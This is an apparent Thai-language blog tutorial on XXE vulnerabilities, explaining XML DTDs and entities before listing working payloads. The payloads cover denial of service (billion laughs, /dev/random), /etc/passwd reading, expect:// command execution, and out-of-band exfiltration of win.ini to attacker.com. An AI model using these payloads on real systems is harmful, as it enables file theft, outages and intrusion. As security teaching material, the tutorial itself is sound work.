XML EXTERNAL ENTITY (XXE)
XML EXTERNAL ENTITY (XXE)
XML (Extensible Markup Language) เป็น format ที่ใช้ในการเก็บและส่งข้อมูลระหว่างระบบ ซึ่ง format ดังกล่าวจะอ่านได้ทั้งคนและคอม โดย XML นั้นเป็น format ที่มักถูกใช้ configuration file, document formats(เช่น OOXML, PDF, ODF เป็นต้น) หรือรูปภาพบางอันก็ใช้เป็น XML เช่นกัน เช่น SVG, EXIF Headers เป็นต้น และ Network Protocol อย่าง WebDAV, CalDAV, XMLRPC, SOAP, XMPP, SAML เป็นต้น แต่ XML ก็ถือว่าเป็นหนึ่งใน input เพื่อนำไปประมวลผลต่อเฉกเช่นเดียวกับ Input ประเภทอื่นเช่นกัน ดังนั้น XML ก็ถือว่าเป็นช่องทางหนึ่งที่ถูกโจมตีด้วยเช่นกัน
ลักษณะ simple ของ XML จะเป็น
ลักษณะ simple ของ XML จะเป็น
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Mikel</to>
<from>Lisa</from>
<heading>Schedule</heading>
<body>Don't forget me this weekend!</body>
</note>
XML มีการประกาศรายละเอียดหลักที่ “W3C XML 1.0 Specialifcation”
Document Type Definitions (DTDs) เป็นตัวที่มักจะเป็นปัญหา ซึ่งมักเกิดกับ XML Parser ต่างๆในการอ่าน XML เพื่อดึงค่าข้อมูล โดย DTD เป็นส่วนการประกาศ syntax ว่าโครงสร้างจะเป็นอย่างไร ตัวแปรจะเป็นอย่างไร ตัวอย่างเช่น
Document Type Definitions (DTDs) เป็นตัวที่มักจะเป็นปัญหา ซึ่งมักเกิดกับ XML Parser ต่างๆในการอ่าน XML เพื่อดึงค่าข้อมูล โดย DTD เป็นส่วนการประกาศ syntax ว่าโครงสร้างจะเป็นอย่างไร ตัวแปรจะเป็นอย่างไร ตัวอย่างเช่น
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
เมื่อนำไปแสดงผลในเว็บไซด์จะพบว่าแสดงผลออกมาเป็น

จากตัวอย่าง DTD คือ
จากตัวอย่าง DTD คือ
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]
จากตัวอย่างข้างต้นจะเรียกว่า Internal DTD และหากเป็น External DTD จะเขียนเป็น
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
และ note.dtd จะเขียนเป็น
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
โดย Element เรียกได้ว่าเป็นตัวแปรของ XML และอีกส่วนหนึ่งที่สำคัญและถูกใช้เป็นช่องโหว่นั่นคือ Entity ซึ่ง entity จะเป็นการประกาศ shortcut หรือการประกาศค่าอ้างอิงไว้ โดย entity จะถูกประกาศใน DTD นั่นเอง
<!ENTITY cat "Chock">
<!ENTITY type "Scottish fold">
และการใช้ Entity ใน XML จะใช้เป็น
<mycat>&cat;&type;</mycat>
โดยเมื่อนำประกอบกันจะได้เป็น
<?xml version="1.0"?>
<!DOCTYPE mycat [
<!ENTITY cat "Chock">
<!ENTITY type "Scottish fold">
]>
<mycat>&cat;&type;</mycat>
อีกทั้ง Entity นั้นสามารถอ้างอิงไปภายนอก (external) ได้ด้วย ซึ่งจะเขียนออกมาเป็น
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE mycat [
<!ENTITY % load1 SYSTEM "http://resource/cat.dtd">
<!ENTITY % load2 SYSTEM "http://resource/type.dtd">
]>
<mycat>%load1;%load2;%cat;%type;</mycat>
โดย http://resource/cat.dtd จะเขียนเป็น
Chock
และ http://resource/type.dtd จะเขียนเป็น
Scottish fold
Entity อีกแบบที่ต้องพูดถึงคือ Parameter Entity ซึ่งจะมี syntax เป็น
<!ENTITY % parameter "subtag">
เราสามารถเขียนได้เป็น
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ggez [
<!ENTITY % hello “world”>
<!ENTITY % link SYSTEM “http://attacker.com/evil.dtd”>
<!ELEMENT mytest (%hello;)>
%link;
]>
<ggez>&outside;</ggez>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!ENTITY outside “testing”>
เมื่อจบจะเป็นการแสดงค่า outside ออกมา
โดย XML eXternal entity (XXE) คือช่องโหว่ที่เกิดจาก XML Parser ยินยอมให้มีการ reference entitiy ภายนอกได้ ซึ่งทำให้ผู้โจมตีสามารถอ่านไฟล์ภายในเครื่อง, Denial of Service, หรือแม้กระทั่งใช้สำหรับการ Server Side Request Forgery ได้
โดย XML eXternal entity (XXE) คือช่องโหว่ที่เกิดจาก XML Parser ยินยอมให้มีการ reference entitiy ภายนอกได้ ซึ่งทำให้ผู้โจมตีสามารถอ่านไฟล์ภายในเครื่อง, Denial of Service, หรือแม้กระทั่งใช้สำหรับการ Server Side Request Forgery ได้
ตัวอย่างการโจมตีต่างๆ
ตัวอย่างการโจมตีที่ทำให้เกิด DoS (Denial of Service) โดยในที่นี้จะมีการอ้างอิงแบบ external entity ไปยัง /dev/random
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
ตัวอย่างการโจมตีที่ทำให้เกิด DoS (Denial of Service) อีกแบบ โดยในที่นี้จะมีการอ้างอิงแบบซำ้ไปซ้ำมาเรื่อยๆทำให้ใช้ memory อย่างมากจนเกิด DoS ซึ่งการโจมตีนี้เรียกว่า “billion laughs attack“
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
ตัวอย่างการโจมตีเพื่อทำ remote code execution ผ่านการใช้งาน expect function ซึ่งเป้าหมายต้องมีการติดตั้ง expect command ไว้ก่อน โดยตัวอย่างด้านล่างจะเป็นการใช้งานคำสั่ง id ผ่าน expect
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
ตัวอย่างการโจมตีเพื่อดึง file /etc/passwd ออกมา
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
อีกแบบที่ใช้คือ Out-of-Band XXE
<?xml version="1.0" ?>
<!DOCTYPE request [
<!ENTITY % sp SYSTEM "http://attacker.com/ev.xml">
%sp;
%param1;
]>
<request>&exfil;</request>
โดยใช้ ev.xml จะเขียนเป็น
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
สิ่งที่เกิดขึ้นคือ ev.xml จะถูกโหลดขึ้นมา และเมื่อมีการเรียกใช้งาน sp ผ่าน %sp; จะทำให้ page หลักทราบค่าของ param1 ว่ามีค่าเท่ากับ แล้วเมื่อทำการ load param1 ขึ้นมาผ่าน %param1; ตัว page จะทราบถึงค่าตัวแปร exfil จากนั้นจึงทำการเรียกใช้ exfil ขึ้นมาผ่าน &exfil;\ ซึ่งจะทำการเชื่อมต่อไปยัง [http://attacker.com/](http://attacker.com/) พร้อมกับส่งค่าของตัวแปร data ไปให้ ซึ่ง data ก็คือ content ของไฟล์ C:/Windows/win.ini นั่นเอง นอกเหนือจากการโจมตีแบบที่ยกตัวอย่างไปแล้ว Element ในแต่ละส่วนยังมีสิทธิ์ที่จะถูกโจมตีจากการโจมตีอื่นๆ เช่น SQL Injection, XPATH Injection เป็นต้น *\\\* หมายเหตุ*
โดยใน lab จะใช้ libxml version 2.8.0 ซึ่งเป็น version ที่ยังอนุญาตให้สามารถ reference ไปยัง entity ภายนอกได้ ทั้งนี้หลังจาก version นี้ (2.9.0 เป็นต้นไป) จะปิดการอนุญาต reference ไปยัง entity ภายนอกไว้โดย default
โดยใน lab จะใช้ libxml version 2.8.0 ซึ่งเป็น version ที่ยังอนุญาตให้สามารถ reference ไปยัง entity ภายนอกได้ ทั้งนี้หลังจาก version นี้ (2.9.0 เป็นต้นไป) จะปิดการอนุญาต reference ไปยัง entity ภายนอกไว้โดย default
Comments
Post a Comment